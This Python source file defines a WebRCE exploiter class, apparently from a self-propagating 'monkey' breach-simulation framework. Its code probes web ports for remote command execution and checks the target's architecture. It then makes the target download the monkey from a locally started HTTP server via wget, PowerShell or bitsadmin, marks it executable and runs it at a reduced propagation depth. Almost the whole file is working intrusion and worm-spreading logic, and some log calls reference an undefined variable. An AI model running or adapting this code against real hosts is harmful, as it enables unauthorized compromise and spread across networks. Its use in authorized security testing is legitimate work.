import logging

from exploit import HostExploiter
from model import *
from posixpath import join
import re
from abc import abstractmethod
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from network.tools import check_tcp_port, tcp_port_to_service

__author__ = 'VakarisZ'

LOG = logging.getLogger(__name__)
# Command used to check if monkeys already exists
LOOK_FOR_FILE = "ls %s"
POWERSHELL_NOT_FOUND = "owershell is not recognized"
# Constants used to refer to windows architectures( used in host.os['machine'])
WIN_ARCH_32 = "32"
WIN_ARCH_64 = "64"


class WebRCE(HostExploiter):

    def __init__(self, host, monkey_target_paths=None):
        """
        :param host: Host that we'll attack
        :param monkey_target_paths: Where to upload the monkey at the target host system.
        Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
        """
        super(WebRCE, self).__init__(host)
        self._config = __import__('config').WormConfiguration
        if monkey_target_paths:
            self.monkey_target_paths = monkey_target_paths
        else:
            self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux,
                                        'win32': self._config.dropper_target_path_win_32,
                                        'win64': self._config.dropper_target_path_win_64}
        self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
        self.skip_exist = self._config.skip_exploit_if_file_exist
        self.vulnerable_urls = []

    def get_exploit_config(self):
        """
        Method that creates a dictionary of configuration values for exploit
        :return: configuration dict
        """
        exploit_config = dict()

        # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
        # it's file to the default destination path.
        exploit_config['dropper'] = False

        # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
        # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used.
        exploit_config['upload_commands'] = None

        # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
        exploit_config['url_extensions'] = None

        # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
        exploit_config['stop_checking_urls'] = False

        # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
        exploit_config['blind_exploit'] = False

        return exploit_config

    def exploit_host(self):
        """
        Method that contains default exploitation workflow
        :return: True if exploited, False otherwise
        """
        # We get exploit configuration
        exploit_config = self.get_exploit_config()
        # Get open ports
        ports = self.get_ports_w(self.HTTP, ["http"])
        if not ports:
            return False
        # Get urls to try to exploit
        urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
        self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])

        if not self.vulnerable_urls:
            return False

        # Skip if monkey already exists and this option is given
        if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
            LOG.info("Host %s was already infected under the current configuration, done" % self.host)
            return True

        # Check for targets architecture (if it's 32 or 64 bit)
        if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
            return False

        # Upload the right monkey to target
        data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])

        if data is not False and data['response'] is False:
            return False

        # Change permissions to transform monkey into executable file
        if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
            return False

        # Execute remote monkey
        if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
            return False

        return True

    @abstractmethod
    def exploit(self, url, command):
        """
        A reference to a method which implements web exploit logic.
        :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
        :param command: Command which will be executed on remote host
        :return: RCE's output/True if successful or False if failed
        """
        raise NotImplementedError()

    def get_open_service_ports(self, port_list, names):
        """
        :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
        :param names: [] of service names. Example: ["http"]
        :return: Returns all open ports from port list that are of service names
        """
        candidate_services = {}
        candidate_services.update({
            service: self.host.services[service] for service in self.host.services if
            (self.host.services[service] and self.host.services[service]['name'] in names)
        })

        valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
                       tcp_port_to_service(port) in candidate_services]

        return valid_ports

    def check_if_port_open(self, port):
        is_open, _ = check_tcp_port(self.host.ip_addr, port)
        if not is_open:
            LOG.info("Port %d is closed on %r, skipping", port, self.host)
            return False
        return True

    def get_command(self, path, http_path, commands):
        try:
            if 'linux' in self.host.os['type']:
                command = commands['linux']
            else:
                command = commands['windows']
            # Format command
            command = command % {'monkey_path': path, 'http_path': http_path}
        except KeyError:
            LOG.error("Provided command is missing/bad for this type of host! "
                      "Check upload_monkey function docs before using custom monkey's upload commands.")
            return False
        return command

    def check_if_exploitable(self, url):
        """
        Checks if target is exploitable by interacting with url
        :param url: Url to exploit
        :return: True if exploitable and false if not
        """
        try:
            resp = self.exploit(url, CHECK_COMMAND)
            if resp is True:
                return True
            elif resp is not False and ID_STRING in resp:
                return True
            else:
                return False
        except Exception as e:
            LOG.error("Host's exploitability check failed due to: %s" % e)
            return False

    def build_potential_urls(self, ports, extensions=None):
        """
        :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
        Eg. ports: [[80, False], [443, True]]
        :param extensions: What subdirectories to scan. www.domain.com[/extension]
        :return: Array of url's to try and attack
        """
        url_list = []
        if extensions:
            extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
        else:
            extensions = [""]
        for port in ports:
            for extension in extensions:
                if port[1]:
                    protocol = "https"
                else:
                    protocol = "http"
                url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
        if not url_list:
            LOG.info("No attack url's were built")
        return url_list

    def add_vulnerable_urls(self, urls, stop_checking=False):
        """
        Gets vulnerable url(s) from url list
        :param urls: Potentially vulnerable urls
        :param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
        :return: None (we append to class variable vulnerable_urls)
        """
        for url in urls:
            if self.check_if_exploitable(url):
                self.vulnerable_urls.append(url)
                if stop_checking:
                    break
        if not self.vulnerable_urls:
            LOG.info("No vulnerable urls found, skipping.")
        # We add urls to param used in reporting
        self._exploit_info['vulnerable_urls'] = self.vulnerable_urls

    def get_host_arch(self, url):
        """
        :param url: Url for exploiter to use
        :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
        """
        if 'linux' in self.host.os['type']:
            resp = self.exploit(url, GET_ARCH_LINUX)
            if resp:
                # Pulls architecture string
                arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
                try:
                    arch = arch.group(1)
                except AttributeError:
                    LOG.error("Looked for linux architecture but could not find it")
                    return False
                if arch:
                    return arch
                else:
                    LOG.info("Could not pull machine architecture string from command's output")
                    return False
            else:
                return False
        else:
            resp = self.exploit(url, GET_ARCH_WINDOWS)
            if resp:
                if "64-bit" in resp:
                    return WIN_ARCH_64
                else:
                    return WIN_ARCH_32
            else:
                return False

    def check_remote_monkey_file(self, url, path):
        command = LOOK_FOR_FILE % path
        resp = self.exploit(url, command)
        if 'No such file' in resp:
            return False
        else:
            LOG.info("Host %s was already infected under the current configuration, done" % host)
            return True

    def check_remote_files(self, url):
        """
        :param url: Url for exploiter to use
        :return: True if at least one file is found, False otherwise
        """
        paths = []
        if 'linux' in self.host.os['type']:
            paths.append(self.monkey_target_paths['linux'])
        else:
            paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']])
        for path in paths:
            if self.check_remote_monkey_file(url, path):
                return True
        return False

    # Wrapped functions:
    def get_ports_w(self, ports, names):
        """
        Get ports wrapped with log
        :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
        :param names: [] of service names. Example: ["http"]
        :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
        """
        ports = self.get_open_service_ports(ports, names)
        if not ports:
            LOG.info("All default web ports are closed on %r, skipping", host)
            return False
        else:
            return ports

    def set_host_arch(self, url):
        arch = self.get_host_arch(url)
        if not arch:
            LOG.error("Couldn't get host machine's architecture")
            return False
        else:
            self.host.os['machine'] = arch
            return True

    def run_backup_commands(self, resp, url, dest_path, http_path):
        """
        If you need multiple commands for the same os you can override this method to add backup commands
        :param resp: Response from base command
        :param url: Vulnerable url
        :param dest_path: Where to upload monkey
        :param http_path: Where to download monkey from
        :return: Command's response (same response if backup command is not needed)
        """
        if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
            LOG.info("Powershell not found in host. Using bitsadmin to download.")
            backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
            resp = self.exploit(url, backup_command)
        return resp

    def upload_monkey(self, url, commands=None):
        """
        :param url: Where exploiter should send it's request
        :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
        Command must have "monkey_path" and "http_path" format parameters.
        :return: {'response': response/False, 'path': monkeys_path_in_host}
        """
        LOG.info("Trying to upload monkey to the host.")
        if not self.host.os['type']:
            LOG.error("Unknown target's os type. Skipping.")
            return False
        paths = self.get_monkey_paths()
        if not paths:
            return False
        # Create server for http download and wait for it's startup.
        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
        if not http_path:
            LOG.debug("Exploiter failed, http transfer creation failed.")
            return False
        LOG.info("Started http server on %s", http_path)
        # Choose command:
        if not commands:
            commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
        command = self.get_command(paths['dest_path'], http_path, commands)

        resp = self.exploit(url, command)

        resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)

        http_thread.join(DOWNLOAD_TIMEOUT)
        http_thread.stop()
        LOG.info("Uploading process finished")
        return {'response': resp, 'path': paths['dest_path']}

    def change_permissions(self, url, path, command=None):
        """
        Method for linux hosts. Makes monkey executable
        :param url: Where to send malicious packets
        :param path: Path to monkey on remote host
        :param command: Formatted command for permission change or None
        :return: response, False if failed and True if permission change is not needed
        """
        LOG.info("Changing monkey's permissions")
        if 'windows' in self.host.os['type']:
            LOG.info("Permission change not required for windows")
            return True
        if not command:
            command = CHMOD_MONKEY % {'monkey_path': path}
        try:
            resp = self.exploit(url, command)
        except Exception as e:
            LOG.error("Something went wrong while trying to change permission: %s" % e)
            return False
        # If exploiter returns True / False
        if type(resp) is bool:
            LOG.info("Permission change finished")
            return resp
        # If exploiter returns command output, we can check for execution errors
        if 'Operation not permitted' in resp:
            LOG.error("Missing permissions to make monkey executable")
            return False
        elif 'No such file or directory' in resp:
            LOG.error("Could not change permission because monkey was not found. Check path parameter.")
            return False
        LOG.info("Permission change finished")
        return resp

    def execute_remote_monkey(self, url, path, dropper=False):
        """
        This method executes remote monkey
        :param url: Where to send malicious packets
        :param path: Path to monkey on remote host
        :param dropper: Should remote monkey be executed with dropper or with monkey arg?
        :return: Response or False if failed
        """
        LOG.info("Trying to execute remote monkey")
        # Get monkey command line
        if dropper and path:
            # If dropper is chosen we try to move monkey to default location
            default_path = self.get_default_dropper_path()
            if default_path is False:
                return False
            monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
            command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
        else:
            monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
            command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
        try:
            resp = self.exploit(url, command)
            # If exploiter returns True / False
            if type(resp) is bool:
                LOG.info("Execution attempt successfully finished")
                return resp
            # If exploiter returns command output, we can check for execution errors
            if 'is not recognized' in resp or 'command not found' in resp:
                LOG.error("Wrong path chosen or other process already deleted monkey")
                return False
            elif 'The system cannot execute' in resp:
                LOG.error("System could not execute monkey")
                return False
        except Exception as e:
            LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
            return False
        LOG.info("Execution attempt finished")
        return resp

    def get_monkey_upload_path(self, url_to_monkey):
        """
        Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
        :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
        :return: Corresponding monkey path from self.monkey_target_paths
        """
        if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
            LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
            return False
        try:
            if 'linux' in url_to_monkey:
                return self.monkey_target_paths['linux']
            elif 'windows-32' in url_to_monkey:
                return self.monkey_target_paths['win32']
            elif 'windows-64' in url_to_monkey:
                return self.monkey_target_paths['win64']
            else:
                LOG.error("Could not figure out what type of monkey server was trying to upload, "
                          "thus destination path can not be chosen.")
                return False
        except KeyError:
            LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
                      "custom dict of monkey's destination paths")
            return False

    def get_monkey_paths(self):
        """
        Gets local (used by server) and destination (where to download) paths.
        :return: dict of source and destination paths
        """
        src_path = get_target_monkey(self.host)
        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False
        # Determine which destination path to use
        dest_path = self.get_monkey_upload_path(src_path)
        if not dest_path:
            return False
        return {'src_path': src_path, 'dest_path': dest_path}

    def get_default_dropper_path(self):
        """
        Gets default dropper path for the host.
        :return: Default monkey's destination path for corresponding host or False if failed.
        E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
        """
        if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'):
            LOG.error("Target's OS was either unidentified or not supported. Aborting")
            return False
        if self.host.os['type'] == 'linux':
            return self._config.dropper_target_path_linux
        if self.host.os['type'] == 'windows':
            try:
                if self.host.os['machine'] == WIN_ARCH_64:
                    return self._config.dropper_target_path_win_64
            except KeyError:
                LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
        return self._config.dropper_target_path_win_32